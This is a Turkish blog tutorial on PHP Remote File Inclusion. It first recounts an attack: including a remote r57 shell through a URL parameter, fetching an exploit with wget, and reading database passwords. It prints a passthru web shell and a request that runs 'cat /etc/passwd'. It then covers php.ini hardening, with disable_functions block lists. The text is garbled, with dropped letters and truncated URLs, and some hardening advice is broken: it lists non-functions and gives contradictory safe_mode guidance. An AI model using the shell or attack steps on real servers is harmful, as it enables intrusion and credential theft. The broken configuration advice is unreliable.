Selamlar arkadaşlar bugun sizlere rfi açıgı ve kapatılması hakkında bilgi vericem..
Remote File Inclusion (RFI) günümüzde sıklıkla web sayfalarının deface edilmesinde veya web sunucularının hack edilmesinde kullanılan bir yöntem olmuştur. Bu kadar çok hataya neden olan web kodlarını yazan veya geliştirenlerin dikkatsizce kod yazmaları, sistem yöneticilerinin de sunucular üzerinde yeteri kadar önlem almamalarıdır.
Öncelikle Rfi Tanımlarını Kavrayalım..
Remote File Inclusion (RFI) günümüzde siklikla web sayfalarinin
deface edilmesinde veya web sunucularinin hack edilmesinde
kullanilan bir yöntem olmutur. Bu kadar çok hataya neden olan web
kodlarini yazan veya gelitirenlerin dikkatsizce kod yazmalari, sistem
yöneticilerinin de sunucular üzerinde yeteri kadar önlem
almamalaridir.
Saldiri Senaryosu:Birçok kurum veya kii php yada asp vb. dillerinde kod yazmayi bilmedikleri için veya hazir kaynak
kodu açik portallar veya scriptleri kullanmasi daha kolay geldi i için bu tarz kodlari kullanmaktadirlar.
Bu scriptlerde yada kodlarda yazan kii tarafindan kasitli olarak birakilabilece i gibi dikkatsizlik
sonucu ortaya çikan XSS veya RFI açiklari ayni kodu kullanan baka kiiler tarafindan farkedilebilir
ve kötü amaçli olarak bakalari ile paylaildi inda web üzerinde çok fazla saldiri oluabilir (mass
defacement).
Birçok site google dorks diye adlandirilan yöntemle bu açiklari yayinlamakta hatta exploitlerini bile
derlenmi olarak barindirmaktadir. Birçok art niyetli insan tarafindan ziyaret edilen bu siteler
sayesinde açik kaynak kodlu portallari kullanan kiilerin web sayfalari ve sunuculari zarar
görmektedir. Bu tarz saldirilarin nasil yapilabilece ini aa ida göstererek açiklayamaya çaliaca iz.
Bu saldirilarin nasil yapildi ina dair bir ekil aa ida gösterilmitir.
1-Saldırı amaçlari
Küçük bir örnekleme ile konunun ne kadar önemli oldu unu görelim.
Açik farkedildikten sonra web adresinden baka bir sunucu üzerinde bulunan scriptimizi çalitirip
veya dosya yükleme izinleri düzgün olarak verilmemise sunucunun üzerine yükleyerek sistem
shell’ine ulamamiza neden oldu. Bizim kullandi imiz yöntemde sunucu kodlama hatasini kullanarak
sistem shell’ine eriim sa lanmitir. Web adresine aa ida http://skaracan.com/erisim.php
adresi eklenerek
adresi
http://skaracan.com/yanliskod.php?ha…m.com/r57.txt?
haline getirip url
sayesinde sisteme sizmi olduk. Burdan sonra yapilacak birkaç ey var. Eğer sistem yöneticisi
sistem dizinlerinin izinlerini iyi ayarlamamıssa dosya yazip silebilir hatta shell erisimi ile
yapabilece iniz hereyi yapabilirsiniz. Bizim örneğimizde sadece /tmp dizini erişime açik olduğu için .
neler yapilacaği farkli bir yol izlenerek bulunmutur. Örneğimizde herhangi bir derlenmis exploit sisteme wget vasitasiyla yüklendi ve çalitirma denemesi yapildi. Sonuç: baarili. Daha sonra web
kullanicısının dizinleri altindaki konfigürasyon dosyalarindan birisi ile mysql ifreleri okunup sistemin veritabani vasitasiyla sql injection yöntemi kullanilarak post metoduyla sunucuya haberler ve
dökümanlar eklendi. Örnek için asağıdaki resime bakabilirsiniz. Sisteme sızdıktan sonra herey sizin yetenek ve yaratıcılığınıza kalıyor.
Vekil 2. Sunucuya ilk erisim
Sunucuya yukaridaki gibi ilk eriimde kariniza açi ini bulup kullandi iniz domainin dizini çikar. leriki
aamalarda dizin de itirmek gerekti inde uygun komut vererek gitmek istedi iniz dizine
ulaabilirsiniz.
Vekil 3. Sunucu üzerindeki mysql ifrelerinin bulunmasi
Fıle Inclusion Açıklarının Kapatılması
Verdiği Zarar: Kiilerin web sunucunuzun dosyalarina root yetkileriyle eriime olanak sa lar.
Nedeni: Remote ve local file inclusionlar birçok exploitte oldu u gibi sadece kodlama
sonundaki bir problemdir. Açiğin Kapatilma Yöntemi:
Eğer sitenizde GET ve POST komutlarini içeren satirlar kullaniyorsaniz ve bu komutlarin yazimlarini
yanli yaparsaniz sitenizde geri dönüü olmayan bir açik oluabilir. imdi bu açi i kapatmanin
yollarina bakalim.
Bu kod $page girii tam olarak arindirilmadi i için kullanilmamalidir. $page input direkt olarak web
sayfasina yönlendirilmi ki bu yapilmasi gereken en son hatalardan biridir. Daima browserdan geçen
her input (giri) arindirilmali. Kullanici web sayfasini ziyaret etti inde “files.php”yi ziyaret etmek için
“File”a tikladi inda öyle bir ey görünecek.
Files
$page = $_GET[page];
include($page);
?>
Bu koda istinaden aa idaki ekilde bir adres girersek browserimizdan neler olabilir?
http://localhost/index.php?page=http://google.com/
Büyük ihtimalle $page de ikeninin sayfaya orjinal olarak konuldu u yerde, google.com ana
sayfasini elde ederiz. Burasi kodcunun caninin yakilabilece i yerdir. Web sayfasinda olabilen daha
basit bir eye bakalim. RFI exploitinin daha çabuk ve kirli kullanimi sizin avantajinizadir. imdi
“test.php” isimli bir dosya oluturalim ve aa idaki kodu içine koyup kaydedelim.
passthru($_GET[cmd]);
?>
imdi bu dosya, üzerinde RFI exploiti olan bir sayfaya dahil etmek için avantajiniza kullanabilece iniz
bir eydir. PHP içindeki passthru() komutu çok tehlikelidir ve birçok host bunu “güvenlik
nedenlerinden dolayi hizmet diidir” olarak alirlar. test.php içindeki bu kodla web sayfasina file
inclusion exploiti de içeren öyle bir istek gönderebiliriz.
http://localhost/index.php?page=http…st.php?cmd=cat /etc/passwd
Örnek olarak sitenizde kullandi iniz satirlardan biri;
$ornek = $HTTP_GET_VARS["ornek"]; diyelim. Bu satirda kullanmi oldu unuz tirnaklar diaridan
gelen uyarilara kari son derece duyarlidir. Yani kii isterse “ornek” kodlamasi yerine baka bir
sunucudan exploit ça irabilir. Örne in;
http://www.skaracan.com/index.php?ur…com/exploit.pl bu sekilde bir
adresleme kullanildi i takdirde exploit sizin sunucunuza yüklenir. Bu açiği kolay bir yöntemle
kapatabilirsiniz. Öncelikle yapmaniz gereken kullanmi oldu unuz GET ve POST komutunun içeri i.
Eğer GET yada POST komutu ile veritabanina ba lanti yapiyorsaniz bu ba lantiyi komuttan önce
tanimlayin;
$veriadi = “veriadi”.$id;
Daha sonra komutunuzu tirnak kullanmadan, baina dolar ($) koyarak sanki veritabanindan ça irma
yapiyorsunuz gibi kullanin;
$ornek = $HTTP_GET_VARS[$veriadi];
RFI açiklarini taratabilmeniz için daha önceden oluturulmu bir perl scriptide mevcuttur. Bu script
nasil elde edilir ve kodlarimizda nasil tarama yapabiliriz özetle aa ida anlatilmitir.
Bunun için ilk önce Active Perl bilgisayarinizda kurulu olmasi gerekli! Bu ilemleri windows
masaüstünüzde
yapti iniz
varsayilmitir.
Active
Perl
http://downloads.activestate.com/Act…SWin32-x86.zip
adresinden temin edilebilir. Programi C:/ dizini altina kurdu unuzu varsayarak anlatima devam
ediyoruz. Öncelikle aa idaki kodu kopyalayip notepade yapitirin ve rfiscanner.pl olarak c:\\\\\\\\\\\\Perl\\\\\\\\\\\\bin
dizini altina kaydedelim daha sonra tarataca imiz web dosyalarinin bulundu u dizini yine c:\\\\\\\\\\\\Perl\\\\\\\\\\\\bin
altina kopyalayarak aa idaki
c:\\\\\\\\\\\\Perl\\\\\\\\\\\\bin\\\\\\\\\\\\perl rfiscanner.pl
komutuyla çalitirip kodlarda olabilecek RFI hatalarini results.html dosyasina yazdiririz. Hatali olan
kodlar tekrar derlenip düzenlendikten sonra sunucuya yüklenip web sayfasi yayinlanabilir.
Bu yukarida bahsettiğimiz yöntem web uygulama kodumuzu
http://pixybox.seclab.tuwien.ac.at/pixy/ adresinden eriebileceğimiz Pixy adli programla da
taratabiliriz. Bu programi bir öncekinden farkli kilan php kodunuzu web sayfasindan girerek online
olarak sisteme sorgulatip çok hizli bir ekilde açiklarinizi ö renebilirsiniz. Bunun yaninda programi
isterseniz kendi bilgisayariniza indiripte kullanabilirsiniz. Bunun için Pixy download bölümünden
programi diskinize indirdikten sonra herhangi bir yere açiyorsunuz. Daha sonra taratmak istedi iniz
php sayfanizi da ayni dizinin içine koyarak
run-all.bat test.php > rapor.txt
yukarida yazili bulunan satiri komut satirinda yazarak açiklarinizi rapor.txt dosyasini okuyarak
öğrenebilirsiniz.
En sonunda yapilmasi gereken ayarladan biri de sistemde dosya ve dizinlerin izinleri ile php.ini
dosyasinin incelenip iimize yarayacak özelliklerini kullanmaktir. Aa ida anlatacaklarim sistem ile
ilgili de iikliklere neden olaca i için bazi web sayfalariniz üzerinde çalian scriptleriniz çalimaz
hale gelebilir.
Sistemdeki Klasörler için: 755 Dosyalar için: 644 olarak ayarlanmalidir. zinler bu ekilde
ayarlandiktan sonra php.ini dosyasini düzenlemeye balayabiliriz.
“PHP.INI” YAPILANDIRMASI
Eğer sunucu üzerinde yönetici haklarina sahipseniz bu ayarlari sunucu üzerinde bulunan tüm web
sayfalari yada domainler için uygulayabilirsiniz demektir.
Sunucu üzerinde yapilabilecek ilk ilem php.ini (genelde /etc/ dizini altinda olur) dosyasini uygun bir
metin düzenleyici ile açip disable_functions satirini bulmak olacaktir. Daha sonra bu satirin sa
tarafinda aa idaki örne mizideki gibi güvenlik ihalali yaratacak fonksiyonlari yazmak olacaktir.
Örnek:
disable_functions allow_url_fopen,execute,shellexec,exec,system,pass thru,proc_close,
popen,tus,proc_get_sta,proc_nice,proc_open
Eğer sunucu üzerinde yönetici haklarina sahip bir hesabiniz yoksa sadece kendi siteniz için
yapmaniz gerekiyorsa web sayfalarinizi barindirdi iniz kök dizininizde (wwwhome veya public_html)
bir “php.ini” dosyasi oluturarak veya varolan “php.ini” dosyasinin içerisine altta verdi im kodlari
ekleyerek güvenli inizi sa layabilirsiniz. Fakat sitenizle ayni sunucuda bulunan di er sitelerden
kaynaklanan açiklardan yararlanan kiiler root yetkilerini almayi baarirlarsa burada anlatilanlar
yetersiz kalir.
Not: Altta anlatti im bilgiler iyi bir güvenlik için yapilmasi gerekenler oldu undan dolayi bunlari
uyguladiktan sonra bazi scriptlerinizin çalimasi engellenmi olabilir. Ama scriptin çalimasini
engelleyen de erleri iptal ederseniz script tekrar do ru ekilde çaliacaktir ancak sisteminizde
güvenlik açi i bulunarak çaliacaktir. O yüzden çalimayan scriptlerinizin kodlarini kontrol edip
güvenlik ihlali yaratmayacak ekilde yeniden derlemeniz gerekecektir.
“disable_functions” (Güvenlik)
“disable_functions” ile serverinizda birçok fonksiyonun çalimasini engelleyebilirsiniz bu sayede
sitenize inject edilen scriptler, sheller için güvenli inizi almi olursunuz. Bu kadar fonksiyon fazla
gelebilir ama iyi bir güvenlik için art. Bu kadar sayida devre dii birakilan fonksiyonlar ilk defa
“*bir hainin sitesi*” adresinde verilmitir.
disable_functions = foreach, glob, openbasedir, posix_getpwuid, f_open, system,dl,
array_compare, array_user_key_compare, passthru, cat, exec, popen, proc_close,
proc_get_status, proc_nice, proc_open, escapeshellcmd, escapeshellarg, show_source,
posix_mkfifo, ini_restore, mysql_list_dbs, get_current_user, getmyuid,pconnect, link,
symlink, fin, passthruexec, fileread, shell_exec, pcntl_exec, ini_alter, parse_ini_file, leak,
apache_child_terminate, chown, posix_kill, posix_setpgid, posix_setsid, posix_setuid,
proc_terminate, syslog, allow_url_fopen, fpassthru, execute, shell, curl_exec, chgrp,
stream_select, passthru, socket_select, socket_create, socket_create_listen,
socket_create_pair, socket_listen, socket_accept, socket_bind, socket_strerror, pcntl_fork,
pcntl_signal, pcntl_waitpid, pcntl_wexitstatus, pcntl_wifexited, pcntl_wifsignaled,
pcntl_wifstopped, pcntl_wstopsig, pcntl_wtermsig, openlog, apache_get_modules,
apache_get_version, apache_getenv, apache_note, apache_setenv, virtual
Eğer bu kadar fonksiyonu devre dii birakmak fazla geldiyse alttaki gibi de ayarlayabilirsiniz bu da
güvenli iniz için yeterlidir:
disable_functions = glob, posix_getpwuid, array_compare, array_user_key_compare,
ini_restore, exec, proc_get_status, proc_nice, proc_open, allow_url_fopen, fin, pconnect,
system, dl, passthruexec, shell_exec, proc_close, proc_get_status, chown, chgrp,
escapeshellcmd, escapeshellarg, fileread, passthru, popen,curl_exec, shell, execute
safe_mode” (Güvenlik)
“Safe Mode” adindan da anlailaca i gibi “Güvenli Mod” anlamina geliyor. “Safe Mode” genelde
birçok serverda “Off” durumdadir ve bu da birçok tehlikeye davetiye çikaran unsurlar arasinda yer
alir. “Güvenli Modu Açik” durumuna getirmek shellerin serverimizda istedikleri gibi dolamalarini,
exploitlerin çalitirilmasini ve komutlarin execute edilmelerini önler. Günümüzde “açik olan güvenlik
modunu” kapali duruma getiren scriptler mevcut fakat altta anlatilan önlemlerle bunun da önüne
geçilebilir.
safe_mode = on
“register_globals” (Güvenlik ve Performans)
php.ini dosyasinda bulunan “post” “get” ile gönderilen de erlere kullanici adlariyla ulailip
ulailamayaca ini belirtir. Session, cookie de erlerini kendi adiyla tanimlayarak birer de iken
olmasina neden olur. “Off” olarak ayarlanirsa bu gibi de erlere kendi tanimladi i ekilde ulailamaz.
register_globals = off
“allow_url_fopen” (Güvenlik)
“allow_url_fopen” default olarak “açik” eklinde gelir ve bunun “on” açik olmasi “file_get_contents()”,
“include()”, “require()” fonksiyonlar uzaktaki dosyalari da ilemesine olanak tanir. Bunlara verilen
bilgiler hiçbir kontrolden geçirilmezse kritik güvenlik açiklarini sebep olur.
allow_url_fopen = off
“allow_url_include” (Güvenlik)
Bu de er kapali yapildi inda “require” ve “include” ile uzaktan dosya ça irilmasi engellenmi olur ve
bu sayede büyük bir tehlikeden kurtulmu olursunuz.
allow_url_include = off
“display_errors” (Güvenlik)
Bu seçenek sitenizin çalimasinda oluacak bir hatayi tarayiciya yansitip yansitmayaca ini belirler
yani siteniz için diyelim bir forum veya portal kullaniyorsunuz ve bunlarin çalimasi esnasinda
genelde “Fatal error: Call to undefined function get_header() in /home/vhosts/skaracan.com/index.php on
line 37″ eklinde benzeri hata görülür bunlarin gözükmesini engellemek için bu de eri kapali duruma
getirmek gerekir zira kötü niyetli kiiler sitenizin serverda bulunan tam yolunu ö renmi olurlar.
display_errors = Off
cgi.force_redirect” (Güvenlik)
Bu de er normalde “on” olarak gelir ve Windows sunucularinda IIS, OmniHTTPD gibi buralarda
kapatilmasi gerekir. Kendi sunucunuz için bu durum yoksa de itirmenize gerek yoktur.
cgi.force_redirect = on
“magic_quotes_gpc” (Güvenlik ve Performans)
Magic Quotes ilemi GET/POST yöntemiyle gelen Cookie datasini otomatikmen PHP script’e kaçirir.
Önerilen bu de erin açik olmasidir.
magic_quotes_gpc = on
“magic_quotes_runtime”(Güvenlik ve Performans)Magic quotes çalima sürecinde data oluturur, SQL’den exec()’den, vb.
magic_quotes_runtime = Off
“magic_quotes_sybase” (Güvenlik ve Performans)
Sybase-style magic quotes kullanir (Bunun yerine \\\\\\\\\\\\’ ’ bununla ’’ kaçirir)
magic_quotes_sybase = Off
“session.use_trans_sid” (Güvenlik)
Bu ayari dikkatli ayarlayin, kullanici emaile aktif oturum ID’si içeren URL gönderebilir
session.use_trans_sid = off
“open_basedir” (Güvenlik)
Burada belirtti iniz bir dizin haricindeki dosyalari veya klasörleri görmeleri olanaksizdir yani sitenizde
sadece dosyalar dizininin görüntülenmesini istiyorsaniz böyle yapilir.
/home/vhosts/skaracan.com/public_html/dosyalar/
veya hem dosyalar hem de resimlerin bulundu u yerin gözükmesi için de böyle
/home/vhosts/skaracan.com/public_html/resimler:/home/vhosts/skaracan.com/public_html/dosyal
ar/
bunlar haricindeki yerlerin görünmesi imkansizdir.
/home/vhosts/skaracan.com/public_html/resimler:/home/vhosts/skaracan.com/public_html/dosyal
ar/
/resimler ve /dosyalar yazan yere görünmesini istediiniz dizinleri belirtin.
“safe_mode_exec_dir” (Güvenlik)
Safe Mode açikken bunu yaparsaniz sadece belirtti iniz dizinde ilem yapilmasina izin verirsiniz.
Safe Mode kapaliyken burada belirtti iniz dizinlerin diinda hiçbir dizinde ilem yapilamaz.
“/home/vhosts/skaracan.com/public_html/” yazan yere kendi dizininizi yazabilirsiniz. Böylece, diyelim “/etc”
v.s dizininden herhangi birey çalitirmasina izin vermezsiniz.
safe_mode_exec_dir = “/home/vhosts/skaracan.com/public_html/”
Safe Mode” yani “Güvenli Mod” açikken yapilmasi tavsiye edilmez. Çünkü “safe mode” burada
belirtti iniz dizinde etkisiz kalacaktir. Güvenli Mod’un açik olmasi o dizinde ie yaramayacaktir.
Güvenlik için, “Safe Mod” yani “Güvenli Mod” “off” kapaliyken kullanilmasi daha uygundur.
“asp_tags” (Güvenlik)
ASP Style < % % > taglarina izin verilip verilmeyece i belirlenir, kapali duruma getirilmesi önerilir.
asp_tags = Off
“session.hash_function” (Güvenlik)
Oturumlar için Hash Fonksiyonu
0: MD5 (128 bits)
1: SHA-1 (160 bits)
session.hash_function = 0
“session.hash_bits_per_character” (Güvenlik)
Hash çevirirken her karakterde kaç bit saklansin
4 bits: 0-9, a-f
5 bits: 0-9, a-v
6 bits: 0-9, a-z, A-Z, “-”, “,”
session.hash_bits_per_character = 5
“expose_php” (Güvenlik)
“expose_php” açik ise kapali yapilmasi önerilir. Aksi takdirde PHP ile yapti iniz hereyde sunucu
tarafindan PHP sürümü gibi bilgiler gösterilir. Hackerlar hatta Lamerlar bu bilgileri severler. Bunlari
engellemek için “off” konumuna getiriniz.
expose_php = Off
“html_errors” (Güvenlik)
Bu de erin açik olmasi durumunda PHP tiklanabilir hata mesajlari üretecektir. Kapali olmasi güvenlik
için önerilir.
html_errors = off
“max_execution_time” (Güvenlik)
Scriptinizi maksimum uygulamayi yürütme zamani mesela kullanici bir linke tikladi ve bu linkin
açilmasi belirtilen saniyeden fazla olursa sayfa sitenizin serverda bulundu u tam yolu göstererek
hata verir. Bu hatalarin gözükmesi güvenlik açisindan sakincalidir. 300 saniye yazan yeri istedi iniz
zaman ile de itirebilirsiniz.
max_execution_time = 300
“max_input_time” (Güvenlik)
Scriptinizin ayni ekilde bir dataya ulamak için istek yolladi inda maksimum geçen zaman
max_input_time = 300
“ServerSignature” (Güvenlik ve Performans)
“ServerSignature” sitenizde bulunmayan bir dosyanin bakilmasi durumunda bu sayfanin altinda
serverla ilgili bir bilgi yer alir ve bu da performansi düürür ayrica kötü niyetli kiiler serverla ilgili bir
bilgi ö renmi olurlar.
ServerSignature = Off
“UseCanonicalName” (Performans)
Bu ayarin açik olmasi Apache self-referencing URL oluturdu unda Server ismi ve porttan oluan bir
çözülmü isim kullanir.
UseCanonicalName = Off
“HostnameLookups” (Performans)
“HostnameLookups” açik olmasi performansin dümesine neden olur. IP numarasi DNS
sunucusundan bakilarak adres ö renilir buda performansi düürür.
HostnameLookups = Off
“ExtendedStatus” (Performans)
Serverin durumunu ö renmek için server-status kullaniliyorsa Apache her an bu ilemcinin
ça rilabilece ini bekledi i için hazir bekler ve her an sistem saatini ö renmesi gerekir bu da
performansi düürür.
ExtendedStatus = off
“register_long_arrays” (Güvenlik ve Performans)
Bu de erin “on” açik olmasi durumunda sisteminizde her script çalimayacaktir install v.s yapmakta
hatalarla karilaabilirsiniz ama iyi bir güvenlik ve performans için “off” duruma getirilir.
register_long_arrays = Off
“allow_call_time_pass_reference” (Performans)
Fonksiyonlarin ça rilma zamaninda yaanan uyumsuzluklarla ilgili uyari verir.
allow_call_time_pass_reference = off
“enable_dl” (Güvenlik)
Bu de erin “off” kapali olmasi gerekir aksi halde kiilerin sistemde php modüllerinde çalima
yapmasina olanak sa lar ve sistemde rahat dolamalarini sa lar güvenlik için kapali olmasi gerekir.
enable_dl = off
“track_errors” (Güvenlik ve Performans)
Sürücülerde meydana gelen hatalarda yetki verildi i taktirde hata mesaji errormsg olarak de ikende
gösterilir.
track_errors = Off
“file_uploads” (Güvenlik)
Açik olursa e er sunucuda dosya yüklenmesine izin verilmi olur ve bu da ciddi bir güvenlik açigina
neden olur e er kullandi iniz scriptden herhangi bir dosya yüklemeniz gerekmiyorsa mutlaka kapali
duruma getiriniz. Bu sayede sitenize herhangi bir shell, script inject edise bile kesinlikle dosya
yüklenmesine izin vermez.
file_uploads = off
“ignore_repeated_errors” (Güvenlik ve Performans)
Açik olursa tekrarlanan hatalari loglamaz.
ignore_repeated_errors = Off
İyi Günler // Skaracan.com
http://skaracan.com/rfi-acigi-ve-kapatilmasi.html